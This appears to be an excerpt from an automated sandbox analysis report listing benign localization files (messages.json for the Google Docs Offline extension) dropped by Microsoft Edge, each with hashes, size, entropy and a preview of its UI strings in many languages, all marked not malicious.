Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir8188_842167385\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
